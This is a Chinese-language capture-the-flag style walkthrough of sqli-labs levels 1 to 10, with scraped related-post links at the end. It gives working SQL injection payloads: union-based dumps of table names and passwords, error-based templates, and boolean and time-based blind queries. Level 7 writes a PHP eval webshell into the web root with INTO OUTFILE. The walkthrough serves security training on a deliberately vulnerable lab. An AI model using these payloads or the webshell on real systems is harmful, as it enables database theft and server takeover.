sqli-labs 1-10关
学习sql注入的必做靶场我终于来尝试一下下了.
第一关
?id=1'时出现
在测试?id=1' and '1'='1,页面正常
?id=1' and '1'='2 页面错误
判断存在单引号字符型注入
判断列数
?id=1' order by 3-- -时正常
?id=1' order by 4-- -时错误
有3列
判断回显点
?id=1' union select 1,2,3-- -
2,3可回显
后查库,查表,查列,查字段
?id=-1' union select 1,2,database()-- -
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
?id=-1' union select 1,2,group_concat(password) from users-- -
第二关
由?id=1 and 1=1
?id=1 and 1=2 判断 存在整数型注入
判断列数
?id=1 order by 3时正常
?id=1' order by 4时错误
有3列
判断回显点
?id=1 union select 1,2,3
2,3可回显
后查库,查表,查列,查字段
?id=-1 union select 1,2,database()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
?id=-1 union select 1,2,group_concat(password) from users
第三关
由?id=1' 中报错为
?id=1' and '1'='1 正常
?id=1' and '1'='2 异常
存在注入 又由报错信息构造 1') -- -返回正常 逃逸成功
判断列数
?id=1') order by 3-- -时正常
?id=1') order by 4-- -时错误
有3列
判断回显点
?id=1') union select 1,2,3-- -
2,3可回显
后查库,查表,查列,查字段
?id=-1') union select 1,2,database()-- -
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
?id=-1') union select 1,2,group_concat(password) from users-- -
第四关
由?id=1" and "1"="1 返回正常
?id=1" and "1"="2 返回错误
存在双引号字符型注入
与第三关类似构造1") -- -构造逃逸
判断列数
?id=1") order by 3-- -时正常
?id=1") order by 4-- -时错误
有3列
判断回显点
?id=1") union select 1,2,3-- -
2,3可回显
后查库,查表,查列,查字段
?id=-1") union select 1,2,database()-- -
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
?id=-1") union select 1,2,group_concat(password) from users-- -
第五关
与前面相同我们尝试寻找注入点
?id=1 ?id=1' ?id=1"
?id=1' 报错
又尝试?id=1' and '1'='1 页面正常
和?id=1' and '1'='2 错误
从而判断注入类型为单引号字符型注入
判断列数
?id=1' order by 3--+ 正常
?id=1' order by 4--+ 错误
列数为4
后尝试union select 联合查询
?id=-1' union select 1,2,3-- -
没有显示
考虑报错注入
常用报错注入模板
(1)通过floor报错
①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
②其中payload为你要插入的SQL语句
③需要注意的是该语句将 输出长度为64位
(2)通过updatexml报错
①and updatexml(1,payload,1)
②同样盖语句对输出的字符长度也做了限制,其最长输出32位
③并且该语句对payload的返回类型也做了 限制
(3)通过extractvalue 报错
①and extractvalue(1,payload)
②输出字符有长度限制,最长32位
提供floor报错过程,其余两种类似
1.爆库名
?id=-1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
2.爆表名
?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables group by a-- -
3.爆列名
?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables group by a-- -
4.爆字段内容
?id=-1' union select 1,count(*),concat((select id from emails limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables group by a-- -
第六关
与第五关类似
?id=1" and "1"="1 页面正常
?id=1" and "1"="2 页面不正常
存在双引号字符注入
与第五关类似移步第五关
第七关
与前面两关不同,You are in 后提示use outfile...
这触及到了我的只是盲区,只好去看一波大佬们的博客,
1、load_file()导出文件
load_file(file_name):读取文件并返回该文件内容作为一个字符串。
使用条件:
A:必须有权限读取并且文件完全可读
B:预读取文件必修在服务器上
C:必须指定文件完整路径
D:预读取文件必修小于max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users就别想 load_file 出来。
在实际的注入中,我们有两个难点需要解决: 绝对物理路径 构造有效的畸形语句 (报错爆出绝对路径) 在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors=on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁。
2、导入到文件:
into outfile
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。
一 直接将select内容导入到文件
二修改文件结尾
首先判断id=1' 页面错误
?id=1' and '1'='1 页面正常
?id=1' and '1'='2 页面错误
我们尝试?id=1'))-- -成功逃逸
因而此题:mysql注入点,用工具对目标站写入一句话,需要哪些条件?
root权限以及网站的绝对路径。
绝对路径为本地搭建我们只需判断root权限
(select count(*) from mysql.user)>0 回显正常则为最高权限
?id=1')) and (select count(*) from mysql.user)>0-- - 页面正常
我们输入一句话木马后使用蚊剑连接即可
?id=-1')) and union select 1,2,<?php @eval($_POST['cmd']);?> INTO outfile "D:/phpStudy/PHPTutorial/WWW/sqli/less-7/shell.php"-- -
第八关
与前七关不同,输入?id=1 就只有You are in......
输入?id=100
只有两个页面
可以为布尔盲注
常用三个函数 length() ,substr(),与ascii()函数
寻找注入点
当id=1' and '1'='1 页面正常
id=1' and '1'='2 页面错误
存在单引号注入点
判断数据库长度
?id=1' and length(database())>1-- -正常
?id=1' and length(database())=8-- - 正常 则database()的长度为8
//其实我们可以用database()代替数据库库名可不查
查库名的第n个字母
?id=1' and ascii(substr((select database()),n,1))>90 -- -
可手动一个个查
也可burpsuite爆破,也可脚本,dns注入也可
查第n个表名的m个字母 举例为当前数据库的第一个表的第一个字母
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1-- -
查第n个列名的第m个字母 举例为users表1列的第一个字母
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>1-- -
查第n个字段的第m个字母 举例为password列的第一个字段的第一个字母
?id=1' and ascii(substr((select password from users limit 0,1),1,1))>1-- -
第九关
无论输入什么只有一个页面,时间盲注
什么型的自己慢慢试吧
?id=1' and sleep(5)-- -
可得为
判断数据库长度
?id=1' and if(length(database())>1, sleep(5),1)-- -
判断数据库名称
举例
?id=1' and if(ascii(substr((select database()),1,1))>1,sleep(5),1)-- -
爆库名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1,sleep(5),1)-- -
爆列名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))>1,sleep(5),1)-- -
爆字段
?id=1' and if(ascii(substr((select id from emails limit 0,1),1,1))>1,sleep(5),1)-- -
第十关
与第九关类似
?id=1" and sleep(5)-- - 延迟5秒
判断为双引号字母时间盲注
其余同上
sqli-labs 1-10关的更多相关文章
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- Monyer's Game 6~10关过关方法
从Monyer's Game开通到现在,已经有50多人通关了.其中绝大部分人,不管是自己独立完成也好,参考别人也罢,都是自己一步一步过去的.像陆羽兄弟甚至已经为游戏做好了整个通关的教程,在此Monye ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-4 这关好坑!!!
这章,可能我总结开会比较长,图比较多,因为,我在做了一半,走进了一个死胡同,脑子,一下子没想开到底为啥.... 然后我自己想了好长时间也没想开,我也不想直接就去看源码,所以就先去百度了一下,结果一下子 ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
随机推荐
- python中os模块操作
学习时总结的一些常用方法>>>> 目录函数 os.getcwd() 返回当前工作目录 os.chdir() 改变工作目录 os.listdir(path="path& ...
- Golang gRPC学习(03): grpc官方示例程序route_guide简析
代码主要来源于grpc的官方examples代码: route_guide https://github.com/grpc/grpc-go/tree/master/examples/route_gui ...
- mysql表中已有数据,为表新增一个自增id。
第一步,在navicat中,例如表test新建查询,输入以下两行代码即可搞定. alter table test add id int; alter table `test` change id id ...
- 非确定性有穷状态决策自动机练习题Vol.1 A.扭动的回文串
非确定性有穷状态决策自动机练习题Vol.1 A.扭动的回文串 题目描述 \(JYY\)有两个长度均为\(N\)的字符串\(A\)和\(B\). 一个"扭动字符串\(S(i,j,k)\)由\( ...
- django自带orm妙用
django对数据库数据进行处理方式通常有以下几种方式: 1.使用原生sql对数据库进行处理:pymysql,cx_oracle 2.使用外置orm模块来对数据库进行处理:sqlalchemy 3.使 ...
- 开始进行lammps手册的学习啦,跟着Manual一边翻译一边做吧!(转载)
转载自:http://blog.sina.com.cn/s/blog_64813e370100ngsz.html 注明:黄色部分基本上为不懂的部分,红色字体为所做注释 一.各种文件的介绍: 1 in ...
- SpringBoot中关于Excel的导入和导出
前言 由于在最近的项目中使用Excel导入和导出较为频繁,以此篇博客作为记录,方便日后查阅.本文前台页面将使用layui,来演示对Excel文件导入和导出的效果.本文代码已上传至我的gitHub, ...
- synchronized的实现原理——对象头解密
前言 并发编程式Java基础,同时也是Java最难的一部分,因为与底层操作系统和硬件息息相关,并且程序难以调试.本系列就从synchronized原理开始,逐步深入,领会并发编程之美. 正文 基础稍微 ...
- sublime Text 3安装 Sublime Package Control(这个可以用于安装各种插件)时显示默认安装的c盘内存不够的解决方案
首先先关闭st3 之后在安装的路径下创建Data文件夹,然后打开st3(sublime Text 3简写)CTRL+`打开命令行输入以下内容,直接回车,等待下载完成就可以了import urllib. ...
- Spring Security如何优雅的增加OAuth2协议授权模式
一.什么是OAuth2协议? OAuth 2.0 是一个关于授权的开放的网络协议,是目前最流行的授权机制. 数据的所有者告诉系统,同意授权第三方应用进入系统,获取这些数据.系统从而产生一个短期的进入令 ...